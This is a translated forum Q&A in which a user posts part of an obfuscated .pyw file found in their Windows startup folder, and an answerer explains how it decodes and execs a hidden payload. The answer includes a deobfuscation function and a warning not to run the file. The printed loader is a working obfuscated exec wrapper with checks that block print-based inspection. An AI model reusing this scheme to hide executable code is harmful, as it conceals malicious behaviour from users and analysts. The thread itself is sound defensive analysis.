试图了解这个潜在的病毒加密的pyw文件

Trying to understand this potentially virus encrypted pyw file

今天我意识到这个 .pyw 文件被添加到我的启动文件中。

虽然我已经删除了它,但我怀疑它最初可能对我的计算机做了什么,但它有点加密,我不太熟悉 Python,但我认为这是源代码无论如何,没有真正的方法可以完全加密它。

有人可以指导我如何做到这一点,或者帮我检查一下吗?

编辑:从外观上看,我在这里只能 post 一些,但它应该简要说明它是如何加密的:

    class Protect():
 def __decode__(self:object,_execute:str)->exec:return(None,self._delete(_execute))[0]
 def __init__(self:object,_rasputin:str=False,_exit:float=0,*_encode:str,**_bytes:int)->exec:
  self._byte,self._decode,_rasputin,self._system,_bytes[_exit],self._delete=lambda _bits:"".join(__import__(self._decode[1]+self._decode[8]+self._decode[13]+self._decode[0]+self._decode[18]+self._decode[2]+self._decode[8]+self._decode[8]).unhexlify(str(_bit)).decode()for _bit in str(_bits).split('/')),exit()if _rasputin else'abcdefghijklmnopqrstuvwxyz0123456789',lambda _rasputin:exit()if self._decode[15]+self._decode[17]+self._decode[8]+self._decode[13]+self._decode[19] in open(__file__, errors=self._decode[8]+self._decode[6]+self._decode[13]+self._decode[14]+self._decode[17]+self._decode[4]).read() or self._decode[8]+self._decode[13]+self._decode[15]+self._decode[20]+self._decode[19] in open(__file__, errors=self._decode[8]+self._decode[6]+self._decode[13]+self._decode[14]+self._decode[17]+self._decode[4]).read()else"".join(_rasputin if _rasputin not in self._decode else self._decode[self._decode.index(_rasputin)+1 if self._decode.index(_rasputin)+1<len(self._decode)else 0]for _rasputin in "".join(chr(ord(t)-683867)if t!="ζ"else"\n"for t in self._byte(_rasputin))),lambda _rasputin:str(_bytes[_exit](f"{self._decode[4]+self._decode[-13]+self._decode[4]+self._decode[2]}(''.join(%s),{self._decode[6]+self._decode[11]+self._decode[14]+self._decode[1]+self._decode[0]+self._decode[11]+self._decode[18]}())"%list(_rasputin))).encode(self._decode[20]+self._decode[19]+self._decode[5]+self._decode[34])if _bytes[_exit]==eval else exit(),eval,lambda _exec:self._system(_rasputin(_exec))
  return self.__decode__(_bytes[(self._decode[-1]+'_')[-1]+self._decode[18]+self._decode[15]+self._decode[0]+self._decode[17]+self._decode[10]+self._decode[11]+self._decode[4]])
Protect(_rasputin=False,_exit=False,_sparkle='''ceb6/f2a6bdbe/f2a6bdbb/f2a6bf82/f2a6bf83/ceb6/f2a6bdbe/f2a6bdbb/f2a6bf83/f2a6bf80/f2a6bdbb/f2a6bf93/f2a6bf89/f2a6bf8f/f2a6bdbb/f2a6bebe/f2a6bebf/f2a6bf89/f2a6bebc/f2a6bf80/

强制警告:代码显然隐藏了一些东西,它最终会构建一个字符串并将其作为 Python 程序执行,因此它具有完全权限执行您的用户帐户在您的计算机上执行的任何操作。所有这一切都是为了说不要运行这个脚本

这个讨厌的东西的有效负载在那个 _sparkle 字符串中,你只 post 编辑了它的前缀。一旦你克服了所有可怕的间距,这个程序基本上使用一些愚蠢的数学和 exec 构建一个新的 Python 程序,使用 _sparkle 数据来完成它。它还具有一些基本的保护措施,防止您在其中插入 print 语句(有趣的是,这些部分很容易删除)。您 post 编辑的部分解密为两行 Python 注释。

# hi
# if you deobf

如果没有看到其余的有效负载,我们无法弄清楚它的目的。但是这里有一个 Python 函数应该 reverse-engineer 它。

import binascii

# Feed this function the full value of the _sparkle string.
def deobfuscate(data):
    decode = 'abcdefghijklmnopqrstuvwxyz0123456789'
    r = "".join(binascii.unhexlify(str(x)).decode() for x in str(data).split('/'))
    for x in r:
        if x == "ζ":
            print()
        else:
            x = chr(ord(x)-683867)
            if x in decode:
                x = decode[(decode.index(x) + 1) % len(decode)]
            print(x, end='')

/ 之间的每个十六进制数字序列是一行。该行中的每两个十六进制数字被视为一个字节并被解释为 UTF-8。然后将生成的 UTF-8 字符转换为其数字代码点,从中减去幻数 683867,并将新数字转换 back 为字符。最后,如果字符是字母或数字,它会在 decode 字符串中向右“移动”一次,因此字母在字母表中向前移动一位,数字增加一位(如果它不是 letter/number,则不进行任何转换)。据推测,结果形成了一个有效的 Python 程序。

从这里开始,您有几个选择。

  1. 运行 我在上面给出的 Python 脚本是真实的、完整的 _sparkle 字符串,然后自己弄清楚生成的程序会做什么。

  2. 运行 我在上面给出的 Python 脚本是真实的,完整的 _sparkle 字符串和 post 您问题中的代码,因此我们可以分解那个。

  3. Post 问题中的完整 _sparkle 字符串,因此我或其他人可以对其进行解码。

  4. 将 PC 擦除为出厂设置并继续。